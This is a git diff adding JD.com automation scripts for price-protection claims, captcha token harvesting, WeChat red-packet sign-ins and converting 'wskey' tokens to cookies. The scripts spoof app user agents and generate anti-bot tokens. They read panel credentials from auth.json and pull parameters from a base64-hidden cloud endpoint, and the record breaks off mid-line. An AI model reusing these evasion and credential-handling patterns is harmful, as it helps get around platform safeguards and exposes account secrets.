+ "form": { + "body": JSON.stringify({ + sid: '', + type: 3, + forcebot: '', + token: $.token, + feSt: 's' + }) + } + }; + h = await $.curl(p) + console.log(h) + console.log("等待20s获取保价信息") + await $.wait(20000) + // 获取保价信息 + let p2 = { + 'url': `https://api.m.jd.com/api?appid=siteppM&functionId=siteppM_appliedSuccAmount&forcebot=&t=${$.timestamp}`, + // 'form': { + // 'body': `"{\"sid\":\"\",\"type\":\"3\",\"forcebot\":\"\"}"` + // } + 'form': 'body={"sid":"","type":"3","forcebot":"","num":15}' + } + await $.curl(p2) + if ($.source.flag) { + text = `本次保价金额: ${$.source.succAmount}` + } else { + text = "本次无保价订单" + } + console.log(text) + $.notice(text) + if ($.config[$.runfile]) { + // 单个商品检测,没什么用处 + console.log("\n手动保价前25个订单") + html = '' + for (let i = 1; i < 6; i++) { + await jstoken() + p3 = { + 'url': `https://api.m.jd.com/api?appid=siteppM&functionId=siteppM_priceskusPull&forcebot=&t=${$.timestamp}`, + 'form': { + 'body': JSON.stringify({ + "page": i, + "pageSize": 5, + "keyWords": "", + "sid": "", + "type": "3", + "forcebot": "", + "token": $.token, + "feSt": "s" + }) + } + } + html += await $.curl(p3) + } + amount = $.matchall(/class="name"\>\s*([^\<]+).*?orderId="(\d+)"\s*skuId="(\d+)"/g, html.replace(/\n/g, '')) + for (let i of amount) { + // 获取有无申请按钮 + p4 = { + 'url': `https://api.m.jd.com/api?appid=siteppM&functionId=siteppM_skuProResultPin&forcebot=&t=${$.timestamp}`, + 'form': { + 'body': JSON.stringify({ + "orderId": i[1], + "skuId": i[2], + "sequence": "1", + "sid": "", + "type": "3", + "forcebot": "" + }) + } + } + h = await $.curl(p4) + if (h.includes("hidden")) { + console.log(`商品: ${i[0]} 不支持保价或无降价`) + } else { + await jstoken() + // 申请请求 + p5 = { + 'url': `https://api.m.jd.com/api?appid=siteppM&functionId=siteppM_proApply&forcebot=&t=${$.timestamp}`, + 'form': { + 'body': JSON.stringify({ + "orderId": i[1], + "orderCategory": "Others", + "skuId": i[2], + "sid": "", + "type": "3", + "refundtype": "1", + "forcebot": "", + "token": $.token, + "feSt": "s" + }) + } + } + await $.curl(p5) + if ($.source.proSkuApplyId) { + // 申请结果 + p6 = { + 'url': `https://api.m.jd.com/api?appid=siteppM&functionId=siteppM_moreApplyResult&forcebot=&t=${$.timestamp}`, + 'form': `body={"proSkuApplyIds":"${$.source.proSkuApplyId[0]}","type":"3"}` + } + await $.curl(p6) + console.log(`商品: ${i[0]} `, $.haskey($.source, 'applyResults.0.applyResultVo.failTypeStr')) + } else { + console.log(`商品: ${i[0]} ${$.source.errorMessage}`) + } + } + } + } + } catch (e) {} +} +async function jstoken() { + let { + JSDOM + } = jsdom; + let resourceLoader = new jsdom.ResourceLoader({ + userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:91.0) Gecko/20100101 Firefox/91.0', + referrer: "https://msitepp-fm.jd.com/rest/priceprophone/priceProPhoneMenu?sid=0b5a9d5564059f36ed16a8967c37e24w", + }); + let virtualConsole = new jsdom.VirtualConsole(); + var options = { + referrer: "https://msitepp-fm.jd.com/rest/priceprophone/priceProPhoneMenu?sid=0b5a9d5564059f36ed16a8967c37e24w", + userAgent: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:91.0) Gecko/20100101 Firefox/91.0', + runScripts: "dangerously", + resources: resourceLoader, + // cookieJar, + includeNodeLocations: true, + storageQuota: 10000000, + pretendToBeVisual: true, + virtualConsole + }; + $.dom = new JSDOM(``, options); + await $.wait(1000) + try { + feSt = 's' + jab = new $.dom.window.JAB({ + bizId: 'jdjiabao', + initCaptcha: false + }) + $.token = jab.getToken() + } catch (e) {} +} diff --git a/jd_work_validate.js b/jd_work_validate.js new file mode 100644 index 0000000..e1ea870 --- /dev/null +++ b/jd_work_validate.js @@ -0,0 +1,48 @@ +let common = require("./function/common"); +let $ = new common.env('京东验证码获取'); +let validator = require("./function/jdValidate"); +let fs = require("fs"); +let min = 2, + help = $.config[$.filename(__filename)] || Math.min(min, $.config.JdMain) || min; +$.setOptions({ + headers: { + 'content-type': 'application/json', + 'user-agent': 'jdapp;iPhone;9.4.6;14.2;965af808880443e4c1306a54afdd5d5ae771de46;network/wifi;supportApplePay/0;hasUPPay/0;hasOCPay/0;model/iPhone8,4;addressid/;supportBestPay/0;appBuild/167618;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'referer': 'https://happy.m.jd.com/babelDiy/Zeus/3ugedFa7yA6NhxLN5gw2L3PF9sQC/index.html?asid=287215626&un_area=12_904_905_57901&lng=117.612969135975&lat=23.94014745198865', + } +}); +$.readme = ` +58 7,15,23 * * * task ${$.runfile} +export ${$.runfile}_limit=5 #限制跑验证码账户个数 +export JDJR_SERVER=ip #如获取不到验证码,本地先获取iv.jd.com的ip,再自行添加环境变量 +` +eval(common.eval.mainEval($)); +async function prepare() { + $.thread = 1; + $.sleep *= 8; + await fs.writeFile('./jdvalidate.txt', '', (error) => { + if (error) return console.log("初始化失败" + error.message); + console.log("初始化成功"); + }) +} +async function main(id) { + let code = new validator.JDJRValidator; + for (let i = 0; i < 2; i++) { + validate = '' + try { + let veri = await code.run(); + if (veri.validate) { + validate = veri.validate; + } + } catch (e) {} + // $.code.push(validate) + if (validate) { + fs.appendFile('./jdvalidate.txt', validate + "\n", (error) => { + if (error) return console.log("追加文件失败" + error.message); + console.log("追加成功"); + }) + } + console.log("验证码", validate) + } + try {} catch (e) {} +} diff --git a/jd_wq_wxsign.js b/jd_wq_wxsign.js new file mode 100644 index 0000000..6f0f8dd --- /dev/null +++ b/jd_wq_wxsign.js @@ -0,0 +1,105 @@ +/* +微信签到领红包 +by:小手冰凉 tg:@chianPLA +交流群:https://t.me/jdPLA2 +脚本更新时间:2022-01-01 +脚本兼容: Node.js +新手写脚本,难免有bug,能用且用。 +=========================== +*/ +const $ = new Env("微信签到领红包"); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +const request = require('request'); +let cookiesArr = [], cookie = '' + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = JSON.parse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => !!item); +} +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await main(); + } + } + +})().catch((e) => { $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') }).finally(() => { $.done(); }) + +async function main() { + await signTask(); //京东超市 +} + +//京东超市 +function signTask() { + return new Promise(async resolve => { + const options = { + url: `https://api.m.jd.com/signTask/doSignTask?functionId=SignComponent_doSignTask&appid=hot_channel&loginWQBiz=signcomponent&loginType=2&body={"activityId":"10002"}&g_ty=ls&g_tk=1294369933`, + headers: { + "Host": "api.m.jd.com", + "charset": "utf-8", + "Connection": "keep-alive", + 'content-type': 'application/json', + 'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 11_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15F79 MicroMessenger/8.0.15(0x18000f2e) NetType/WIFI Language/zh_CN', + 'referer': 'https://servicewechat.com/wx91d27dbf599dff74/581/page-frame.html', + "User-Agent": 'Mozilla/5.0 (Linux; Android 10; HarmonyOS; WLZ-AN00; HMSCore 6.1.0.314) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.105 HuaweiBrowser/11.1.5.320 Mobile Safari/537.36', + "cookie": "wxapp_type=15;wxapp_version=7.10.140;wxapp_scene=1001;pinStatus=0;" + cookie, + "Accept-Encoding": "gzip,compress,br,deflate", + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + console.log(`signTask api请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data.subCode == 0) { + console.log(`签到: ${data?.data?.signDays}天, 获得红包: ${data?.data?.rewardValue}元`); + } else { + console.log(data.message); + } + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} + + +// prettier-ignore +function TotalBean() { return new Promise(async e => { const n = { url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", headers: { Host: "wq.jd.com", Accept: "*/*", Connection: "keep-alive", Cookie: cookie, "User-Agent": 'Mozilla/5.0 (Linux; Android 10; WLZ-AN00 Build/HUAWEIWLZ-AN00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/89.0.4389.72 MQQBrowser/6.2 TBS/045811 Mobile Safari/537.36 MMWEBID/2874 MicroMessenger/8.0.15.2020(0x28000F39) Process/tools WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64', "Accept-Language": "zh-cn", Referer: "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", "Accept-Encoding": "gzip, deflate, br" } }; $.get(n, (n, o, a) => { try { if (n) $.logErr(n); else if (a) { if (1001 === (a = JSON.parse(a))["retcode"]) return void ($.isLogin = !1); 0 === a["retcode"] && a.data && a.data.hasOwnProperty("userInfo") && ($.nickName = a.data.userInfo.baseInfo.nickname), 0 === a["retcode"] && a.data && a.data["assetInfo"] && ($.beanCount = a.data && a.data["assetInfo"]["beanNum"]) } else console.log("京东服务器返回空数据") } catch (e) { $.logErr(e) } finally { e() } }) }) } +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/jd_wskey.py b/jd_wskey.py new file mode 100644 index 0000000..2479647 --- /dev/null +++ b/jd_wskey.py @@ -0,0 +1,522 @@ +# -*- coding: utf-8 -* +''' +new Env('wskey转换'); +''' +import socket +import base64 +import json +import os +import sys +import logging +import time +import re + +if "WSKEY_DEBUG" in os.environ: + logging.basicConfig(level=logging.DEBUG, format='%(message)s') + logger = logging.getLogger(__name__) + logger.debug("\nDEBUG模式开启!\n") +else: + logging.basicConfig(level=logging.INFO, format='%(message)s') + logger = logging.getLogger(__name__) + +try: + import requests +except Exception as e: + logger.info(str(e) + "\n缺少requests模块, 请执行命令:pip3 install requests\n") + sys.exit(1) +os.environ['no_proxy'] = '*' +requests.packages.urllib3.disable_warnings() +try: + from notify import send +except Exception as err: + logger.debug(str(err)) + logger.info("无推送文件") + +ver = 20218 + + +# 登录青龙 返回值 token +def get_qltoken(username, password): + logger.info("Token失效, 新登陆\n") + url = "http://127.0.0.1:{0}/api/user/login".format(port) + payload = { + 'username': username, + 'password': password + } + payload = json.dumps(payload) + headers = { + 'Accept': 'application/json', + 'Content-Type': 'application/json' + } + try: + res = requests.post(url=url, headers=headers, data=payload) + token = json.loads(res.text)["data"]['token'] + except Exception as err: + logger.debug(str(err)) + logger.info("青龙登录失败, 请检查面板状态!") + text = '青龙面板WSKEY转换登陆面板失败, 请检查面板状态.' + try: + send('WSKEY转换', text) + except Exception as err: + logger.debug(str(err)) + logger.info("通知发送失败") + sys.exit(1) + else: + return token + + +# 返回值 Token +def ql_login(): + path = '/ql/config/auth.json' + if os.path.isfile(path): + with open(path, "r") as file: + auth = file.read() + file.close() + auth = json.loads(auth) + username = auth["username"] + password = auth["password"] + token = auth["token"] + if token == '': + return get_qltoken(username, password) + else: + url = "http://127.0.0.1:{0}/api/user".format(port) + headers = { + 'Authorization': 'Bearer {0}'.format(token), + 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.71 Safari/537.36 Edg/94.0.992.38' + } + res = requests.get(url=url, headers=headers) + if res.status_code == 200: + return token + else: + return get_qltoken(username, password) + else: + logger.info("没有发现auth文件, 你这是青龙吗???") + sys.exit(0) + + +# 返回值 list[wskey] +def get_wskey(): + if "JD_WSCK" in os.environ: + wskey_list = os.environ['JD_WSCK'].split('&') + if len(wskey_list) > 0: + return wskey_list + else: + logger.info("JD_WSCK变量未启用") + sys.exit(1) + else: + logger.info("未添加JD_WSCK变量") + sys.exit(0) + + +# 返回值 list[jd_cookie] +def get_ck(): + if "JD_COOKIE" in os.environ: + ck_list = os.environ['JD_COOKIE'].split('&') + if len(ck_list) > 0: + return ck_list + else: + logger.info("JD_COOKIE变量未启用") + sys.exit(1) + else: + logger.info("未添加JD_COOKIE变量") + sys.exit(0) + + +# 返回值 bool +def check_ck(ck): + searchObj = re.search(r'pt_pin=([^;\s]+)', ck, re.M | re.I) + if searchObj: + pin = searchObj.group(1) + else: + pin = ck.split(";")[1] + if "WSKEY_UPDATE_HOUR" in os.environ: + updateHour = 23 + if os.environ["WSKEY_UPDATE_HOUR"].isdigit(): + updateHour = int(os.environ["WSKEY_UPDATE_HOUR"]) + nowTime = time.time() + updatedAt = 0.0 + searchObj = re.search(r'__time=([^;\s]+)', ck, re.M | re.I) + if searchObj: + updatedAt = float(searchObj.group(1)) + if nowTime - updatedAt >= (updateHour * 60 * 60) - (10 * 60): + logger.info(str(pin) + ";即将到期或已过期\n") + return False + else: + remainingTime = (updateHour * 60 * 60) - (nowTime - updatedAt) + hour = int(remainingTime / 60 / 60) + minute = int((remainingTime % 3600) / 60) + logger.info(str(pin) + ";未到期,{0}时{1}分后更新\n".format(hour, minute)) + return True + elif "WSKEY_DISCHECK" in os.environ: + logger.info("不检查账号有效性\n--------------------\n") + return False + else: + url = 'https://me-api.jd.com/user_new/info/GetJDUserInfoUnion' + headers = { + 'Cookie': ck, + 'Referer': 'https://home.m.jd.com/myJd/home.action', + 'user-agent': ua + } + try: + res = requests.get(url=url, headers=headers, verify=False, timeout=10) + except Exception as err: + logger.debug(str(err)) + logger.info("JD接口错误 请重试或者更换IP") + return False + else: + if res.status_code == 200: + code = int(json.loads(res.text)['retcode']) + if code == 0: + logger.info(str(pin) + ";状态正常\n") + return True + else: + logger.info(str(pin) + ";状态失效\n") + return False + else: + logger.info("JD接口错误码: " + str(res.status_code)) + return False + + +# 返回值 bool jd_ck +def getToken(wskey): + try: + url = str(base64.b64decode(url_t).decode()) + 'genToken' + header = {"User-Agent": ua} + params = requests.get(url=url, headers=header, verify=False, timeout=20).json() + except Exception as err: + logger.info("Params参数获取失败") + logger.debug(str(err)) + return False, wskey + headers = { + 'cookie': wskey, + 'content-type': 'application/x-www-form-urlencoded; charset=UTF-8', + 'charset': 'UTF-8', + 'accept-encoding': 'br,gzip,deflate', + 'user-agent': ua + } + url = 'https://api.m.jd.com/client.action' + data = 'body=%7B%22to%22%3A%22https%253a%252f%252fplogin.m.jd.com%252fjd-mlogin%252fstatic%252fhtml%252fappjmp_blank.html%22%7D&' + try: + res = requests.post(url=url, params=params, headers=headers, data=data, verify=False, timeout=10) + res_json = json.loads(res.text) + tokenKey = res_json['tokenKey'] + except Exception as err: + logger.info("JD_WSKEY接口抛出错误 尝试重试 更换IP") + logger.info(str(err)) + return False, wskey + else: + return appjmp(wskey, tokenKey) + + +# 返回值 bool jd_ck +def appjmp(wskey, tokenKey): + wskey = "pt_" + str(wskey.split(";")[0]) + if tokenKey == 'xxx': + logger.info(str(wskey) + ";疑似IP风控等问题 默认为失效\n--------------------\n") + return False, wskey + headers = { + 'User-Agent': ua, + 'accept': 'accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9', + 'x-requested-with': 'com.jingdong.app.mall' + } + params = { + 'tokenKey': tokenKey, + 'to': 'https://plogin.m.jd.com/jd-mlogin/static/html/appjmp_blank.html', + } + url = 'https://un.m.jd.com/cgi-bin/app/appjmp' + try: + res = requests.get(url=url, headers=headers, params=params, verify=False, allow_redirects=False, timeout=20) + except Exception as err: + logger.info("JD_appjmp 接口错误 请重试或者更换IP\n") + logger.info(str(err)) + return False, wskey + else: + try: + res_set = res.cookies.get_dict() + pt_key = 'pt_key=' + res_set['pt_key'] + pt_pin = 'pt_pin=' + res_set['pt_pin'] + if "WSKEY_UPDATE_HOUR" in os.environ: + jd_ck = str(pt_key) + ';' + str(pt_pin) + ';__time=' + str(time.time()) + ';' + else: + jd_ck = str(pt_key) + ';' + str(pt_pin) + ';' + except Exception as err: + logger.info("JD_appjmp提取Cookie错误 请重试或者更换IP\n") + logger.info(str(err)) + return False, wskey + else: + if 'fake' in pt_key: + logger.info(str(wskey) + ";WsKey状态失效\n") + return False, wskey + else: + logger.info(str(wskey) + ";WsKey状态正常\n") + return True, jd_ck + + +def update(): + up_ver = int(cloud_arg['update']) + if ver >= up_ver: + logger.info("当前脚本版本: " + str(ver)) + logger.info("--------------------\n") + else: + logger.info("当前脚本版本: " + str(ver) + "新版本: " + str(up_ver)) + logger.info("存在新版本, 请更新脚本后执行") + logger.info("--------------------\n") + text = '当前脚本版本: {0}新版本: {1}, 请更新脚本~!'.format(ver, up_ver) + try: + send('WSKEY转换', text) + except Exception as err: + logger.debug(str(err)) + logger.info("通知发送失败") + # sys.exit(0) + + +def ql_check(port): + sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + sock.settimeout(2) + try: + sock.connect(('127.0.0.1', port)) + except Exception as err: + logger.debug(str(err)) + sock.close() + return False + else: + sock.close() + return True + + +def serch_ck(pin): + for i in range(len(envlist)): + if "name" not in envlist[i] or envlist[i]["name"] != "JD_COOKIE": + continue + if pin in envlist[i]['value']: + value = envlist[i]['value'] + id = envlist[i][ql_id] + logger.info(str(pin) + "检索成功\n") + return True, value, id + else: + continue + logger.info(str(pin) + "检索失败\n") + return False, 1 + + +def get_env(): + url = 'http://127.0.0.1:{0}/api/envs'.format(port) + try: + res = s.get(url) + except Exception as err: + logger.debug(str(err)) + logger.info("\n青龙环境接口错误") + sys.exit(1) + else: + data = json.loads(res.text)['data'] + return data + + +def check_id(): + url = 'http://127.0.0.1:{0}/api/envs'.format(port) + try: + res = s.get(url).json() + except Exception as err: + logger.debug(str(err)) + logger.info("\n青龙环境接口错误") + sys.exit(1) + else: + if '_id' in res['data'][0]: + logger.info("使用 _id 键值") + return '_id' + else: + logger.info("使用 id 键值") + return 'id' + + +def ql_update(e_id, n_ck): + url = 'http://127.0.0.1:{0}/api/envs'.format(port) + data = { + "name": "JD_COOKIE", + "value": n_ck, + ql_id: e_id + } + data = json.dumps(data) + s.put(url=url, data=data) + ql_enable(eid) + + +def ql_enable(e_id): + url = 'http://127.0.0.1:{0}/api/envs/enable'.format(port) + data = '["{0}"]'.format(e_id) + res = json.loads(s.put(url=url, data=data).text) + if res['code'] == 200: + logger.info("\n账号启用\n--------------------\n") + return True + else: + logger.info("\n账号启用失败\n--------------------\n") + return False + + +def ql_disable(e_id): + url = 'http://127.0.0.1:{0}/api/envs/disable'.format(port) + data = '["{0}"]'.format(e_id) + res = json.loads(s.put(url=url, data=data).text) + if res['code'] == 200: + logger.info("\n账号禁用成功\n--------------------\n") + return True + else: + logger.info("\n账号禁用失败\n--------------------\n") + return False + + +def ql_insert(i_ck): + data = [{"value": i_ck, "name": "JD_COOKIE"}] + data = json.dumps(data) + url = 'http://127.0.0.1:{0}/api/envs'.format(port) + s.post(url=url, data=data) + logger.info("\n账号添加完成\n--------------------\n") + + +def cloud_info(): + url = str(base64.b64decode(url_t).decode()) + 'check_api' + for i in range(3): + try: + headers = {"authorization": "Bearer Shizuku"} + res = requests.get(url=url, verify=False, headers=headers, timeout=20).text + except requests.exceptions.ConnectTimeout: + logger.info("\n获取云端参数超时, 正在重试!" + str(i)) + time.sleep(1) + continue + except requests.exceptions.ReadTimeout: + logger.info("\n获取云端参数超时, 正在重试!" + str(i)) + time.sleep(1) + continue + except Exception as err: + logger.info("\n未知错误云端, 退出脚本!") + logger.debug(str(err)) + sys.exit(1) + else: + try: + c_info = json.loads(res) + except Exception as err: + logger.info("云端参数解析失败") + logger.debug(str(err)) + sys.exit(1) + else: + return c_info + + +def check_cloud(): + url_list = 